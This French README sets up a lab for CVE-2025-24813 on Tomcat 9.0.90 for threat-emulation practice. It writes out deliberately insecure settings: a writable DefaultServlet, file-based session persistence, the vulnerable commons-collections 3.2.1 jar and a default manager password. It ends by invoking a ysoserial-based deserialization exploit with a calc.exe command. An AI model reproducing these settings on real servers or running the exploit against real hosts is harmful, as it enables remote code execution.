
Instructions pour le déploiement rapide de Tomcat v9.0.90 avec java 25.0.1 2025-10-21 LTS sur Windows Server 2019 Standard pour les chercheurs paresseux.
Ce repo vise à fournir des instructions claires pour le déploiement rapide de Tomcat v9.0.90 avec java 25.0.1 2025-10-21 LTS sur Windows Server 2019 Standard pour un exercice d'émulation de menaces de cybersécurité. Le exploit.py utilise ysoserial-all.jar pour créer une charge utile via le module CommonsCollections6 de ysoserial-all.jar, qui est ensuite désérialisée par la dépendance commons-collections-3.2.1.jar dans %CATALINA_HOME%\webapps\ROOT\WEB-INF\lib.
Tomcat v9.0.90 :Invoke-WebRequest -Uri "https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90-windows-x64.zip" -OutFile "apache-tomcat-9.0.90-windows-x64.zip"
Expand-Archive -Path "apache-tomcat-9.0.90-windows-x64.zip" -DestinationPath "C:\"
java 25.0.1 2025-10-21 LTS (version ZIP) :Invoke-WebRequest -Uri "https://download.oracle.com/java/25/archive/jdk-25_windows-x64_bin.zip" -OutFile "jdk-25_windows-x64_bin.zip"
Expand-Archive -Path "jdk-25_windows-x64_bin.zip" -DestinationPath "C:\"
mkdir C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
cd C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
Invoke-WebRequest -Uri "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar" -OutFile "commons-collections-3.2.1.jar"
1. Cliquez sur Démarrer
2. Tapez "modifier les variables d'environnement système"
3. Créez deux nouvelles variables système nommées
- `%JAVA_HOME%` avec la valeur `C:\jdk-25.0.1`
- `%CATALINA_HOME%` avec la valeur `C:\apache-tomcat-9.0.90`
4. Modifiez la variable système nommée `Path`, et ajoutez les valeurs suivantes :
- `%JAVA_HOME%\bin`
- `%CATALINA_HOME%\bin`
C:\apache-tomcat-9.0.90\bin\service.bat install Tomcat9Server
Set-Service -Name "Tomcat9Server" -StartupType Automatic
Start-Service -Name "Tomcat9Server"
tomcat-users.xml dans le dossier tomcat-9.0.90\conf et ajoutez ce qui suit AVANT </tomcat-users> :<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
context.xml dans le dossier tomcat-9.0.90\conf et remplacez TOUT le contenu par ce qui suit :<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>
<Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
</Context>
web.xml dans le dossier tomcat-9.0.90\conf, cherchez DefaultServlet et remplacez l'intégralité du bloc <servlet></servlet> par ce qui suit :<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
shutdown.bat
startup.bat
New-NetFirewallRule -DisplayName "Tomcat9Server" -Direction Inbound -Protocol TCP -LocalPort 8080 -Action Allow
index.html crédible dans C:\tomcat-9.0.90\webapps\ROOT pour un rendu plus soigné.C:\apache-tomcat-9.0.90\conf\web.xml avec le Bloc-notes, et cherchez "<Connector port=". Vous pouvez décommenter le bloc et ajouter votre propre chemin .pfx. Ci-dessous un exemple d'ajout d'un cert.pfx dans un dossier ssl nouvellement créé, sans mot de passe, fonctionnant en HTTP/1.1 :<Connector port="443"
protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="150"
SSLEnabled="true"
scheme="https"
secure="true">
<SSLHostConfig>
<Certificate certificateKeystoreFile="C:\tomcat-9.0.90\conf\ssl\cert.pfx"
certificateKeystorePassword=""
certificateKeystoreType="PKCS12" />
</SSLHostConfig>
</Connector>
New-NetFirewallRule -DisplayName "Tomcat9HTTPSServer" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow
exploit.pygit clone <this-repo-url>
cd CVE-2025-24813
pip install requests
java --version
curl -L -o ysoserial-all.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
python exploit.py -t http://<IP cible>:8080/ -c "cmd.exe /c calc.exe"
exploit.py, deux fichiers de session seront créés dans C:\tomcat-9.0.90\webapps\ROOT et C:\tomcat-9.0.90\work\Catalina\localhost\ROOT avec un nom aléatoire. Le fichier .session dans le dossier work devrait être supprimé quelques secondes après l'exécution.